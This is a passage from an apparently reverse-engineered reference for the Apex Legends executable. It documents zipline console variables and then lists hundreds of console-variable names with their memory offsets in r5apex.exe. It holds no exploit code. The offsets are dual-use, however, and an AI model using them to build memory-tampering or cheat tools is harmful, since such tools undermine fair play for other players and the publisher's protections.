+zipline_cooldown_time_3 + +Zipline Cooldown. + +default: `"3.0"` +flags: `0x2` +min value: `0` +
+
+zipline_cooldown_time_4 + +Zipline Cooldown. + +default: `"5.0"` +flags: `0x2` +min value: `0` +
+
+zipline_fade_dist + + + +default: `"6000"` +flags: `0x2` +
+
+zipline_subdiv_lod_dist_base + +The base distance that ziplines will begin using zipline_subdiv_slices_lod. This value is scaled by the diameter of the zipline. + +default: `"150"` +flags: `0x2` +
+
+zipline_subdiv_slices + +Zipline subdivision amount around the rope, affects roundedness. + +default: `"6"` +flags: `0x2` +min value: `1` +max value: `12` +
+
+zipline_subdiv_slices_lod + +Zipline subdivision amount around the rope when lod is active, affects roundedness. + +default: `"4"` +flags: `0x2` +min value: `0` +max value: `12` +
+
+zipline_subdiv_stacks + +Zipline subdivision amount between each zipline node. + +default: `"6"` +flags: `0x2` +min value: `1` +max value: `24` +
+ +### Addresses + +``` +r5apex.exe!0x058c9f80 ConVar Allow_auto_Party +r5apex.exe!0x01189060 ConVar BlendBonesMode +r5apex.exe!0x0129bca0 ConVar CrossPlay_user_optin +r5apex.exe!0x012d28c0 ConVar DigiCertGlobalRoot_usable +r5apex.exe!0x01c573b0 ConVar DoorSoundPrefixDouble +r5apex.exe!0x01c8c6b0 ConVar DoorSoundPrefixSingle +r5apex.exe!0x018a6d30 ConVar EADP_RTM_DELAY_QUERRY_SCRIPT_SECONDS +r5apex.exe!0x012d2a40 ConVar EADP_RTM_DELAY_QUERRY_SECONDS +r5apex.exe!0x012d2780 ConVar EADP_RTM_Enabled +r5apex.exe!0x012d2820 ConVar EADP_RTM_Productid +r5apex.exe!0x012cb400 ConVar EADP_SEARCH_Enabled +r5apex.exe!0x012cb690 ConVar EADP_optin_datachange_throttle +r5apex.exe!0x012cb4a0 ConVar EADP_search_accountname_count +r5apex.exe!0x012cb540 ConVar EADP_search_use_starts_with +r5apex.exe!0x012ce230 ConVar EADP_server_enviorment +r5apex.exe!0x012cb240 ConVar EAPD_friends_invite_has_platform +r5apex.exe!0x01e59d80 ConVar ScriptDisallowedToUsePersistenceOnSP +r5apex.exe!0x01e5b9e0 ConVar ScriptSaveAllowed +r5apex.exe!0x0119d5a0 ConVar StreamMicDisabled +r5apex.exe!0x012d2960 ConVar TLS_trust_cert +r5apex.exe!0x0119ddc0 ConVar TalkIsStream +r5apex.exe!0x01c3da10 ConVar TextDataFromCommunityOnlyInLobby +r5apex.exe!0x0119ec00 ConVar VoiceDataFromCommunityOnlyInLobby +r5apex.exe!0x0119dbe0 ConVar VoiceNeedsReset +r5apex.exe!0x01c8af70 ConVar add_to_parent_realms_default +r5apex.exe!0x01e7b900 ConVar ai_titan_grapple_max_len +r5apex.exe!0x01c8f4d0 ConVar airslowmo_enabled +r5apex.exe!0x01c85f90 ConVar airslowmo_enter_time +r5apex.exe!0x01c8a4e0 ConVar airslowmo_ground_immediate_end +r5apex.exe!0x01c59df0 ConVar airslowmo_leave_time +r5apex.exe!0x01c8b430 ConVar airslowmo_scripted_speed +r5apex.exe!0x01c8f330 ConVar airslowmo_when_hovering +r5apex.exe!0x0188b960 ConVar animEvent_debug +r5apex.exe!0x0188cec0 ConVar animEvent_debugEnt +r5apex.exe!0x0188d3e0 ConVar animEvent_debug_cl +r5apex.exe!0x01e6e520 ConVar anim_estimateVelocity +r5apex.exe!0x01e6ed80 ConVar anim_playerMovementAngleMargin +r5apex.exe!0x01e6e660 ConVar anim_player_ragdoll_fix +r5apex.exe!0x01c9ba50 ConVar anim_print_transition_overflow +r5apex.exe!0x01e6ec40 ConVar anim_runGestureAnimEventsToCompletionOnReset_client +r5apex.exe!0x01e6e3e0 ConVar anim_showstate +r5apex.exe!0x01e6e7a0 ConVar anim_showstatelog +r5apex.exe!0x01c9ef00 ConVar anim_transitionsequences +r5apex.exe!0x01ca2db0 ConVar anim_view_entity_third_person_camera_use_move_parent +r5apex.exe!0x012cdab0 ConVar announcement +r5apex.exe!0x012ce0f0 ConVar announcementImage +r5apex.exe!0x012cdc90 ConVar announcementVersion +r5apex.exe!0x0129ced0 ConVar assetdownloads_desiredState +r5apex.exe!0x0129cf70 ConVar assetdownloads_enabled +r5apex.exe!0x0129ce30 ConVar assetdownloads_hostname +r5apex.exe!0x0119a800 ConVar async_serialize +r5apex.exe!0x01c89a80 ConVar automantle_backoff_anim_maxfrac +r5apex.exe!0x01c574f0 ConVar automantle_cooldown +r5apex.exe!0x01c87eb0 ConVar automantle_dangle_required_space +r5apex.exe!0x01c59e90 ConVar automantle_debug +r5apex.exe!0x01c90980 ConVar automantle_disable_hang +r5apex.exe!0x01c892c0 ConVar automantle_enable +r5apex.exe!0x01c8b4d0 ConVar automantle_forwarddist +r5apex.exe!0x01c8adb0 ConVar automantle_gun_enable_height +r5apex.exe!0x01c754c0 ConVar automantle_height_above +r5apex.exe!0x01c8c7b0 ConVar automantle_height_below +r5apex.exe!0x01c5c500 ConVar automantle_height_level +r5apex.exe!0x01c5ca80 ConVar automantle_jumpoff_anim_maxfrac +r5apex.exe!0x01c89220 ConVar automantle_jumpoff_duration +r5apex.exe!0x01c8e280 ConVar automantle_max_frac +r5apex.exe!0x01c88220 ConVar automantle_maxangle_push +r5apex.exe!0x01c8b0b0 ConVar automantle_maxangle_view +r5apex.exe!0x01c5a9b0 ConVar automantle_min_frac +r5apex.exe!0x01c5cbc0 ConVar automantle_mindist +r5apex.exe!0x01c8ad10 ConVar automantle_rest_frac +r5apex.exe!0x01c5cb20 ConVar automantle_rest_frac_below +r5apex.exe!0x01c908e0 ConVar automantle_searchdist +r5apex.exe!0x018914a0 ConVar automantle_view_correction_speed +r5apex.exe!0x01891380 ConVar automantle_view_high_yaw_max +r5apex.exe!0x01892490 ConVar automantle_view_pitch_max +r5apex.exe!0x01894920 ConVar automantle_view_pitch_min +r5apex.exe!0x01890740 ConVar automantle_view_yaw_max +r5apex.exe!0x01c8a830 ConVar automantle_wallrun_maxangle_view +r5apex.exe!0x01c56bc0 ConVar baseanimatingoverlay_playbackRateThreshold +r5apex.exe!0x0129cb00 ConVar baselines_print +r5apex.exe!0x01e772d0 ConVar bhit_enable +r5apex.exe!0x01e7aae0 ConVar bhit_reliable +r5apex.exe!0x0119ef20 ConVar bink_materials_enabled +r5apex.exe!0x01c53230 ConVar bink_preload_videopanel_movies +r5apex.exe!0x01894a60 ConVar boost_jetwash_prediction_factor +r5apex.exe!0x012996a0 ConVar bot_lagOut +r5apex.exe!0x0118d5b0 ConVar budget_animatingEntities +r5apex.exe!0x0118b440 ConVar budget_animationOverlayEntities +r5apex.exe!0x0118c9f0 ConVar budget_combatCharEntities +r5apex.exe!0x0118b1f0 ConVar budget_weaponEntities +r5apex.exe!0x0118ce70 ConVar budget_ziplineEntities +r5apex.exe!0x01e59cc0 ConVar bug_reproNum +r5apex.exe!0x018a8bc0 ConVar build_nonmerged +r5apex.exe!0x0118e490 ConVar buildcubemaps_async +r5apex.exe!0x0118ae20 ConVar buildcubemaps_bakery +r5apex.exe!0x0118dbe0 ConVar buildcubemaps_index +r5apex.exe!0x0118ba00 ConVar buildcubemaps_pvs_start_early +r5apex.exe!0x0118ded0 ConVar buildcubemaps_single_step +r5apex.exe!0x0118cf10 ConVar building_cubemaps +r5apex.exe!0x01e81000 ConVar bulletPredictionDebug +r5apex.exe!0x01c9a820 ConVar bullet_trace_test_debug +r5apex.exe!0x01c9cbc0 ConVar bullet_trace_test_enable +r5apex.exe!0x0188ddc0 ConVar c_dropship_ground_fx_dist_interval +r5apex.exe!0x0188cce0 ConVar c_dropship_ground_fx_time_interval +r5apex.exe!0x018a1f30 ConVar c_dropship_rope_debug +r5apex.exe!0x018aa3c0 ConVar c_dropship_rope_events +r5apex.exe!0x01c2d5a0 ConVar c_dropship_rope_magnitude +r5apex.exe!0x0189ffd0 ConVar c_dropship_rope_range +r5apex.exe!0x01c3ccf0 ConVar c_maxdistance +r5apex.exe!0x01c3a030 ConVar c_maxpitch +r5apex.exe!0x01c4b230 ConVar c_maxyaw +r5apex.exe!0x01c3eca0 ConVar c_mindistance +r5apex.exe!0x01c42140 ConVar c_minpitch +r5apex.exe!0x01c44000 ConVar c_minyaw +r5apex.exe!0x01c47ad0 ConVar c_orthoheight +r5apex.exe!0x01c39650 ConVar c_orthowidth +r5apex.exe!0x01c4ccd0 ConVar c_thirdpersonshoulderaimdistADS_110 +r5apex.exe!0x01c4cd70 ConVar c_thirdpersonshoulderaimdistADS_70 +r5apex.exe!0x01c4ce10 ConVar c_thirdpersonshoulderaimdistADS_90 +r5apex.exe!0x01c4cf50 ConVar c_thirdpersonshoulderaimdist_110 +r5apex.exe!0x01c4cff0 ConVar c_thirdpersonshoulderaimdist_70 +r5apex.exe!0x01c4ceb0 ConVar c_thirdpersonshoulderaimdist_90 +r5apex.exe!0x01c4a310 ConVar c_thirdpersonshoulderdist +r5apex.exe!0x01c4cc30 ConVar c_thirdpersonshouldergetsviewpunch +r5apex.exe!0x01c4d130 ConVar c_thirdpersonshoulderheight +r5apex.exe!0x01c4d090 ConVar c_thirdpersonshoulderoffset +r5apex.exe!0x0188cb00 ConVar c_threadedAnimPostData +r5apex.exe!0x01c3df90 ConVar cam_collision +r5apex.exe!0x01c452e0 ConVar cam_idealdelta +r5apex.exe!0x01c3b9b0 ConVar cam_idealdist +r5apex.exe!0x01c479b0 ConVar cam_ideallag +r5apex.exe!0x01c4b5d0 ConVar cam_idealpitch +r5apex.exe!0x01c47670 ConVar cam_idealyaw +r5apex.exe!0x01c39bf0 ConVar cam_pitchLock_feetRelative +r5apex.exe!0x01c3f440 ConVar cam_pitchlock_on +r5apex.exe!0x01c493b0 ConVar cam_pitchlock_period +r5apex.exe!0x01c3bb70 ConVar cam_pitchlock_phase +r5apex.exe!0x01c49cb0 ConVar cam_pitchlock_pitchBase +r5apex.exe!0x01c3c500 ConVar cam_pitchlock_pitchRange +r5apex.exe!0x01c39410 ConVar cam_pitchlock_pitchWiggleRoom +r5apex.exe!0x01c4caf0 ConVar cam_player_viewheight_scale +r5apex.exe!0x01c3cbb0 ConVar cam_showangles +r5apex.exe!0x01c49450 ConVar cc_captiontrace +r5apex.exe!0x01c43110 ConVar cc_global_norepeat +r5apex.exe!0x01c4c150 ConVar cc_linger_time +r5apex.exe!0x01c40dd0 ConVar cc_max_duration +r5apex.exe!0x01c41310 ConVar cc_minvisibleitems +r5apex.exe!0x01c45080 ConVar cc_predisplay_time +r5apex.exe!0x01c49670 ConVar cc_rui +r5apex.exe!0x01c3f780 ConVar cc_text_size +r5apex.exe!0x01c3d850 ConVar cc_timeshift_norepeat +r5apex.exe!0x0188e200 ConVar chasecam_distanceMax_override +r5apex.exe!0x0129d010 ConVar chat_rules_log_details +r5apex.exe!0x0119df00 ConVar chatroom_console_ptt +r5apex.exe!0x012ce700 ConVar chatroom_debug +r5apex.exe!0x012d2020 ConVar chatroom_doRealNameLookups +r5apex.exe!0x012d2420 ConVar chatroom_min_status_send_interval +r5apex.exe!0x01e6fa40 ConVar chatroom_nameLength +r5apex.exe!0x01e70840 ConVar chatroom_namePaddingX +r5apex.exe!0x01e707a0 ConVar chatroom_nameWidth +r5apex.exe!0x0129d5b0 ConVar chatroom_onlyWhenActive +r5apex.exe!0x012d1f80 ConVar chatroom_sendServerMutes +r5apex.exe!0x01e703e0 ConVar chatroom_useSlopSpace +r5apex.exe!0x012d20c0 ConVar chatroom_voiceMode +r5apex.exe!0x01e70a20 ConVar chatroom_voiceMode +r5apex.exe!0x01c54410 ConVar cheap_captions_fadetime +r5apex.exe!0x01c53bf0 ConVar cheap_captions_test +r5apex.exe!0x0119f060 ConVar chroma_enable +r5apex.exe!0x01890560 ConVar cl_NotifyAllLevelAssetsLoaded_endframe +r5apex.exe!0x01c2f040 ConVar cl_RunClientConnectScripts_Before_ProcessOnDataChangedEvents +r5apex.exe!0x0188cba0 ConVar cl_SetupAllBones +r5apex.exe!0x018a17f0 ConVar cl_ShowBoneSetupEnts +r5apex.exe!0x01298100 ConVar cl_adjustTimeEntsPerJob +r5apex.exe!0x01c558d0 ConVar cl_aggregate_particles +r5apex.exe!0x018a4250 ConVar cl_allowABSCalculationDuringSnapshotScriptCalls +r5apex.exe!0x0189c6d0 ConVar cl_allowABSDuringSnapshotScriptCalls +r5apex.exe!0x0188ba00 ConVar cl_allowAnimsToInterpolateBackward +r5apex.exe!0x01e59a40 ConVar cl_always_draw_3p_player +r5apex.exe!0x0188d260 ConVar cl_always_ragdoll_radius +r5apex.exe!0x01c49c10 ConVar cl_anglespeedkey +r5apex.exe!0x0188dd20 ConVar cl_anim_blend_transition_dist +r5apex.exe!0x0188c200 ConVar cl_anim_detail_dist +r5apex.exe!0x0188c0c0 ConVar cl_anim_face_dist +r5apex.exe!0x0188c8c0 ConVar cl_anim_sequence_transition_full_weight_optimization +r5apex.exe!0x0188de60 ConVar cl_anim_sounds_seek +r5apex.exe!0x0188abe0 ConVar cl_approx_footstep_origin +r5apex.exe!0x01c4b930 ConVar cl_approx_tracer_origin +r5apex.exe!0x01c38a30 ConVar cl_async_bone_setup +r5apex.exe!0x01e855e0 ConVar cl_base_entity_effect_lock +r5apex.exe!0x0188b6e0 ConVar cl_bones_incremental_blend +r5apex.exe!0x0188b780 ConVar cl_bones_incremental_transform +r5apex.exe!0x0188d480 ConVar cl_bones_oldhack +r5apex.exe!0x01c8fea0 ConVar cl_bounds_show_errors +r5apex.exe!0x01c97ed0 ConVar cl_burninggibs +r5apex.exe!0x0118e620 ConVar cl_clock_correction +r5apex.exe!0x0118ca90 ConVar cl_clock_correction_ahead_correct_interval +r5apex.exe!0x0118b7f0 ConVar cl_clock_correction_behind_correct_interval +r5apex.exe!0x0118d0f0 ConVar cl_clock_correction_force_server_tick +r5apex.exe!0x01260a50 ConVar cl_cmdbackup +r5apex.exe!0x0125faf0 ConVar cl_cmdrate +r5apex.exe!0x012cc6f0 ConVar cl_configversion +r5apex.exe!0x012cc090 ConVar cl_configversion_dummy +r5apex.exe!0x01e76a60 ConVar cl_cull_weapon_fx +r5apex.exe!0x0119bc80 ConVar cl_dataBlockFragmentPL +r5apex.exe!0x01e5be20 ConVar cl_deathhints_enabled +r5apex.exe!0x01e85080 ConVar cl_debugClientEntities +r5apex.exe!0x01c9a780 ConVar cl_debug_deferred_trace +r5apex.exe!0x01c9c8a0 ConVar cl_debug_deferred_trace_overlay +r5apex.exe!0x01c49a70 ConVar cl_debug_model_fx_sounds +r5apex.exe!0x01c5a5f0 ConVar cl_decal_alwayswhite +r5apex.exe!0x01c90210 ConVar cl_decal_backoff +r5apex.exe!0x01e599a0 ConVar cl_deferred_effects +r5apex.exe!0x01c99ff0 ConVar cl_deferred_trace_normal_priority +r5apex.exe!0x018a9cf0 ConVar cl_demoviewoverride +r5apex.exe!0x0188dc80 ConVar cl_disable_ragdolls +r5apex.exe!0x0189c630 ConVar cl_disable_splitscreen_cpu_level_cfgs_in_pip +r5apex.exe!0x0119f2c0 ConVar cl_disconnectOnTooManySnapshotFrames +r5apex.exe!0x01e82510 ConVar cl_doNetworkAsserts +r5apex.exe!0x0119f220 ConVar cl_doRecreateEnts +r5apex.exe!0x0188ffe0 ConVar cl_draw_player_model +r5apex.exe!0x01c2f360 ConVar cl_drawhud +r5apex.exe!0x01ca48c0 ConVar cl_drawmonitors +r5apex.exe!0x0188cf60 ConVar cl_ejectbrass +r5apex.exe!0x01c4f150 ConVar cl_enable_remote_splitscreen +r5apex.exe!0x0119f680 ConVar cl_entCreateDeleteDebug +r5apex.exe!0x018a2890 ConVar cl_events_ignore_invalidate +r5apex.exe!0x0119ad80 ConVar cl_failremoteconnections +r5apex.exe!0x01c4b2d0 ConVar cl_fasttempentcollision +r5apex.exe!0x01e851c0 ConVar cl_flip_vis_bits +r5apex.exe!0x0119f4a0 ConVar cl_flushentitypacket +r5apex.exe!0x0188d5c0 ConVar cl_footstep_event_max_dist +r5apex.exe!0x0188cd80 ConVar cl_footstep_event_max_dist_titan +r5apex.exe!0x01297200 ConVar cl_forceAdjustTime +r5apex.exe!0x012d3e80 ConVar cl_fovScale +r5apex.exe!0x012d3de0 ConVar cl_gib_allow +r5apex.exe!0x01c2e510 ConVar cl_gib_attack_dir_scale +r5apex.exe!0x018957c0 ConVar cl_gib_lifetime +r5apex.exe!0x01c50d10 ConVar cl_idealpitchscale +r5apex.exe!0x01260f40 ConVar cl_ignorepackets +r5apex.exe!0x01e858a0 ConVar cl_interp_all +r5apex.exe!0x012970c0 ConVar cl_interpolate +r5apex.exe!0x01e853a0 ConVar cl_interpolate +r5apex.exe!0x0188b820 ConVar cl_interpolateSoAllAnimsLoop +r5apex.exe!0x01c37bb0 ConVar cl_interpolation_before_prediction +r5apex.exe!0x0119d120 ConVar cl_isUnderAge +r5apex.exe!0x012610d0 ConVar cl_is_softened_locale +r5apex.exe!0x01ca0150 ConVar cl_jiggle_bone_debug +r5apex.exe!0x01ca0010 ConVar cl_jiggle_bone_debug_pitch_constraints +r5apex.exe!0x01ca02d0 ConVar cl_jiggle_bone_debug_yaw_constraints +r5apex.exe!0x01ca00b0 ConVar cl_jiggle_bone_invert +r5apex.exe!0x01ca01f0 ConVar cl_jiggle_bone_sanity +r5apex.exe!0x01296ee0 ConVar cl_keepPersistentDataOnDisconnect +r5apex.exe!0x01c521d0 ConVar cl_lagcompensation +r5apex.exe!0x01261cf0 ConVar cl_language +r5apex.exe!0x01c380b0 ConVar cl_leafsystemvis +r5apex.exe!0x01e86ae0 ConVar cl_lerpIfChildrenLerp +r5apex.exe!0x0119bf00 ConVar cl_loadBspFromServerInfo +r5apex.exe!0x01198f30 ConVar cl_loadPostProcessShadersEarly +r5apex.exe!0x01198510 ConVar cl_loadStaticPropsInJob +r5apex.exe!0x01297f20 ConVar cl_matchmaking_timeout +r5apex.exe!0x01c47250 ConVar cl_model_fx_gib_cull_front_dist +r5apex.exe!0x01c46dd0 ConVar cl_model_fx_gib_cull_radius +r5apex.exe!0x01c49fb0 ConVar cl_mouseenable +r5apex.exe!0x01261800 ConVar cl_move_use_dt +r5apex.exe!0x0125ff10 ConVar cl_noTimeoutLocalHost +r5apex.exe!0x01261ed0 ConVar cl_overrideEventTimes +r5apex.exe!0x01e59140 ConVar cl_parallelParticlePreDrawWork +r5apex.exe!0x0188baa0 ConVar cl_parallel_clientside_animations +r5apex.exe!0x01c9f690 ConVar cl_particle_batch_mode +r5apex.exe!0x012d3c00 ConVar cl_particle_fallback_base +r5apex.exe!0x012d3f20 ConVar cl_particle_fallback_multiplier +r5apex.exe!0x01c548b0 ConVar cl_particle_limiter_display_killed +r5apex.exe!0x01e8b470 ConVar cl_particle_limiter_hide_killable +r5apex.exe!0x01c4fa80 ConVar cl_particle_limiter_max_particle_count +r5apex.exe!0x01c4fcb0 ConVar cl_particle_limiter_max_system_count +r5apex.exe!0x01c50e30 ConVar cl_particle_limiter_min_kill_distance +r5apex.exe!0x01c545d0 ConVar cl_particle_limiter_overlay +r5apex.exe!0x01c50680 ConVar cl_particle_max_count +r5apex.exe!0x01c55830 ConVar cl_particle_sim_fallback_base_multiplier +r5apex.exe!0x01c4ebb0 ConVar cl_particle_sim_fallback_threshold_ms +r5apex.exe!0x01c533f0 ConVar cl_particle_snoozetime +r5apex.exe!0x01c51130 ConVar cl_particles_show_bbox +r5apex.exe!0x01c54c50 ConVar cl_particles_show_bbox_name +r5apex.exe!0x01c51af0 ConVar cl_particles_show_controlpoints +r5apex.exe!0x01c56160 ConVar cl_pclass +r5apex.exe!0x01c53970 ConVar cl_pdump +r5apex.exe!0x01c4ecf0 ConVar cl_phys_maxticks +r5apex.exe!0x01c52090 ConVar cl_phys_show_active +r5apex.exe!0x01c525f0 ConVar cl_phys_timescale +r5apex.exe!0x01c54f30 ConVar cl_physics_invalidate_ents +r5apex.exe!0x01c55190 ConVar cl_physics_maxvelocity +r5apex.exe!0x01ca07e0 ConVar cl_physicsshadowupdate_render +r5apex.exe!0x01c4a3b0 ConVar cl_pitchspeed +r5apex.exe!0x01261640 ConVar cl_playback_screenshots +r5apex.exe!0x01892ab0 ConVar cl_player_fullupdate_predicted_origin_fix +r5apex.exe!0x01c8b150 ConVar cl_player_touch_triggers +r5apex.exe!0x0119f540 ConVar cl_postSnapshotTransitionBlockCount +r5apex.exe!0x01e861a0 ConVar cl_preSnapshotTransitionBlockCount +r5apex.exe!0x01c9f7d0 ConVar cl_pred_error_verbose +r5apex.exe!0x01c51450 ConVar cl_pred_optimize +r5apex.exe!0x01261410 ConVar cl_predict +r5apex.exe!0x01895030 ConVar cl_predict_basetoggles +r5apex.exe!0x01c4ef70 ConVar cl_predict_cmdlimit +r5apex.exe!0x01c556f0 ConVar cl_predict_error_icon_duration +r5apex.exe!0x01c50720 ConVar cl_predict_error_icon_show +r5apex.exe!0x01c53e70 ConVar cl_predict_error_icon_threshold_angle +r5apex.exe!0x01c4f500 ConVar cl_predict_error_icon_threshold_dist +r5apex.exe!0x01ca0670 ConVar cl_predict_motioncontrol +r5apex.exe!0x01c56680 ConVar cl_predict_viewangles +r5apex.exe!0x01c4f460 ConVar cl_prediction_error_timestamps +r5apex.exe!0x01c53890 ConVar cl_predictionlist +r5apex.exe!0x01c514f0 ConVar cl_predictweapons +r5apex.exe!0x01e74280 ConVar cl_prevent_weapon_text_hints +r5apex.exe!0x0188dbe0 ConVar cl_ragdoll_force_fade_time +r5apex.exe!0x0188d520 ConVar cl_ragdoll_force_fade_time_local_view_player +r5apex.exe!0x01c9efa0 ConVar cl_ragdoll_force_fade_time_on_moving_geo +r5apex.exe!0x0188d080 ConVar cl_ragdoll_force_fade_time_titan +r5apex.exe!0x012d3d40 ConVar cl_ragdoll_maxcount +r5apex.exe!0x012d3fc0 ConVar cl_ragdoll_self_collision +r5apex.exe!0x01297c20 ConVar cl_replayDelayTolerance +r5apex.exe!0x0188dfa0 ConVar cl_requireAnimForAnimEventsHdr +r5apex.exe!0x01297920 ConVar cl_resend +r5apex.exe!0x01297d60 ConVar cl_resend_timeout +r5apex.exe!0x01260720 ConVar cl_retire_low_priority_lights +r5apex.exe!0x018a6e70 ConVar cl_runWeaponCloneThinkWhenHidden +r5apex.exe!0x01e5bf00 ConVar cl_safearea +r5apex.exe!0x01260b70 ConVar cl_screenshotname +r5apex.exe!0x01c56860 ConVar cl_scriptCompileAsync +r5apex.exe!0x01c51ed0 ConVar cl_script_perf_dump_on_shutdown +r5apex.exe!0x01ca15c0 ConVar cl_shadowupdatespacing +r5apex.exe!0x018a9040 ConVar cl_showClanTags +r5apex.exe!0x01c46ef0 ConVar cl_show_splashes +r5apex.exe!0x01c4ed90 ConVar cl_showerror +r5apex.exe!0x01c4f650 ConVar cl_showerror_watchfield +r5apex.exe!0x01e818e0 ConVar cl_showfiredbullets +r5apex.exe!0x01c53c90 ConVar cl_showfps +r5apex.exe!0x01c50b50 ConVar cl_showfps_altframetime +r5apex.exe!0x01c52a70 ConVar cl_showpausedimage +r5apex.exe!0x01c4e9f0 ConVar cl_showpos +r5apex.exe!0x0119a300 ConVar cl_showsounds +r5apex.exe!0x01c513b0 ConVar cl_showtime +r5apex.exe!0x0188c960 ConVar cl_simulateAllModelsRegardless +r5apex.exe!0x01e86e20 ConVar cl_simulationtimefix +r5apex.exe!0x0188b8c0 ConVar cl_skipAnimEventsOnProps +r5apex.exe!0x01c54770 ConVar cl_skipfastpath +r5apex.exe!0x01893a00 ConVar cl_smooth +r5apex.exe!0x01893950 ConVar cl_smooth_debug +r5apex.exe!0x01894880 ConVar cl_smoothtime +r5apex.exe!0x0188b640 ConVar cl_threaded_bone_setup +r5apex.exe!0x01e862c0 ConVar cl_update_visibility_for_non_predicted_local_player_always +r5apex.exe!0x01c75e40 ConVar cl_updatedirty_async +r5apex.exe!0x018a29d0 ConVar cl_updatedirty_early +r5apex.exe!0x01261d90 ConVar cl_updaterate_mp +r5apex.exe!0x01c4a270 ConVar cl_upspeed +r5apex.exe!0x01261e30 ConVar cl_useFutureSnapForEvents +r5apex.exe!0x01297780 ConVar cl_useLobbyTypeForChatroom +r5apex.exe!0x01894260 ConVar cl_view_cone +r5apex.exe!0x01892c70 ConVar cl_view_cone_debug +r5apex.exe!0x01c384b0 ConVar cl_viewmodel_pre_animate +r5apex.exe!0x01c485f0 ConVar cl_warnAboutSoundsOnInvalidEntities +r5apex.exe!0x01c39530 ConVar cl_yawspeed +r5apex.exe!0x01194250 ConVar clampHostFrameTimeToOneTick_enable +r5apex.exe!0x0188c160 ConVar clearOnAnimChange +r5apex.exe!0x01c56720 ConVar client_deferredSnapshotScriptCalls +r5apex.exe!0x01193340 ConVar clientport +r5apex.exe!0x012de170 ConVar cloak_enabled +r5apex.exe!0x012e3c20 ConVar cloak_pilotNoiseFactor +r5apex.exe!0x012e3d60 ConVar cloak_pilotTint1 +r5apex.exe!0x012e3900 ConVar cloak_pilotTint2 +r5apex.exe!0x012e3680 ConVar cloak_pilotTint3 +r5apex.exe!0x0118d3d0 ConVar clock_bias_mp +r5apex.exe!0x0118e2f0 ConVar clock_bias_sp +r5apex.exe!0x0118d9d0 ConVar clock_showcorrections +r5apex.exe!0x0118e200 ConVar clock_showdebuginfo +r5apex.exe!0x058c4a70 ConVar closecaption +r5apex.exe!0x01ca0b20 ConVar cockpitDrift_scalePitch +r5apex.exe!0x01ca1340 ConVar cockpitDrift_scaleYaw +r5apex.exe!0x01ca2290 ConVar cockpitDrift_speedPitch +r5apex.exe!0x01ca0920 ConVar cockpitDrift_speedYaw +r5apex.exe!0x01e72c50 ConVar cockpitShake_sourceRollRange +r5apex.exe!0x01e73c00 ConVar cockpitShake_translateRange +r5apex.exe!0x01e718a0 ConVar cockpit_damage_chroma_scale +r5apex.exe!0x01e71d20 ConVar cockpit_hit_chroma_max_time +r5apex.exe!0x01e73650 ConVar cockpit_hit_chroma_scale +r5apex.exe!0x01e72e50 ConVar cockpit_pitch_down_frac +r5apex.exe!0x01e74460 ConVar cockpit_pitch_up_frac +r5apex.exe!0x01e73240 ConVar cockpit_screen_boot_chroma_scale +r5apex.exe!0x01e728b0 ConVar cockpit_screen_boot_delay_bottom +r5apex.exe!0x01e74500 ConVar cockpit_screen_boot_delay_left +r5apex.exe!0x01e716a0 ConVar cockpit_screen_boot_delay_mid +r5apex.exe!0x01e72d10 ConVar cockpit_screen_boot_delay_right +r5apex.exe!0x01e748b0 ConVar cockpit_screen_boot_delay_top +r5apex.exe!0x01298880 ConVar coll_spatial_entry_limit_client +r5apex.exe!0x01298920 ConVar coll_spatial_optimize_prefetch +r5apex.exe!0x01189100 ConVar coll_use_bolt_size +r5apex.exe!0x01c516d0 ConVar colorblind_mode +r5apex.exe!0x0129d150 ConVar communities_doRealNameLookupsForCommunityCreators +r5apex.exe!0x0129dab0 ConVar communities_enabled +r5apex.exe!0x012caf00 ConVar communities_hostname +r5apex.exe!0x0129d290 ConVar community +r5apex.exe!0x0129d3d0 ConVar community_abortCommunitySettingsTime +r5apex.exe!0x0129d6f0 ConVar community_abortUserInfoTime +r5apex.exe!0x012ca5e0 ConVar community_browse_excludeMine +r5apex.exe!0x0129c6a0 ConVar community_clantags +r5apex.exe!0x012ca0c0 ConVar community_doRealNameLookupsForInbox +r5apex.exe!0x0129da10 ConVar community_frame_run +r5apex.exe!0x012cf180 ConVar community_queryServerWhenOrphaned +r5apex.exe!0x012ca020 ConVar community_replaceInboxTokens +r5apex.exe!0x012ca9e0 ConVar community_replaceInboxTokens +r5apex.exe!0x012c9f00 ConVar community_resolveNames +r5apex.exe!0x012ca300 ConVar community_resolveNames +r5apex.exe!0x0129d650 ConVar community_send_server_voice +r5apex.exe!0x012ca3a0 ConVar community_spam +r5apex.exe!0x0129db50 ConVar community_staleCommunitySettingsTime +r5apex.exe!0x0129d470 ConVar community_staleUserInfoTime +r5apex.exe!0x012d1b10 ConVar con_logfile +r5apex.exe!0x0118d230 ConVar con_timestamp +r5apex.exe!0x012e0e90 ConVar cpu_level +r5apex.exe!0x018a8c60 ConVar cpu_level +r5apex.exe!0x01e86840 ConVar createentitydecals +r5apex.exe!0x0129bac0 ConVar crossPlay_Enabled +r5apex.exe!0x01c2d640 ConVar csm0_on_worker +r5apex.exe!0x012e0fd0 ConVar csm_cascade_res +r5apex.exe!0x018a8fa0 ConVar csm_cascade_res +r5apex.exe!0x012de2b0 ConVar csm_coverage +r5apex.exe!0x01c2f0e0 ConVar csm_culling_use_base_planes +r5apex.exe!0x018a74b0 ConVar csm_culling_use_exclusion_planes +r5apex.exe!0x01894f90 ConVar csm_culling_use_inclusion_planes +r5apex.exe!0x01c38410 ConVar csm_culling_use_planes +r5apex.exe!0x018a09e0 ConVar csm_debug_2d +r5apex.exe!0x018a3df0 ConVar csm_debug_culling +r5apex.exe!0x01c2d960 ConVar csm_debug_vis_hi_range +r5apex.exe!0x018a3a30 ConVar csm_debug_vis_lo_range +r5apex.exe!0x018a3c00 ConVar csm_depth_bias +r5apex.exe!0x01c2e970 ConVar csm_dropsequence_adjusted_coverage +r5apex.exe!0x01895280 ConVar csm_dropsequence_adjustment +r5apex.exe!0x012e0c10 ConVar csm_enabled +r5apex.exe!0x0189deb0 ConVar csm_fadeModels +r5apex.exe!0x018a08c0 ConVar csm_force_no_csm_in_reflections +r5apex.exe!0x01894ce0 ConVar csm_frustum_draw +r5apex.exe!0x01894c40 ConVar csm_frustum_draw_lock +r5apex.exe!0x01c2d500 ConVar csm_ignore_cascade12 +r5apex.exe!0x0189d0b0 ConVar csm_ignore_edge_planes +r5apex.exe!0x018a51b0 ConVar csm_ignore_face_planes +r5apex.exe!0x01c2e790 ConVar csm_max_z_offset +r5apex.exe!0x018a2d70 ConVar csm_min_z_offset +r5apex.exe!0x01895340 ConVar csm_renderable_shadows +r5apex.exe!0x01c2e830 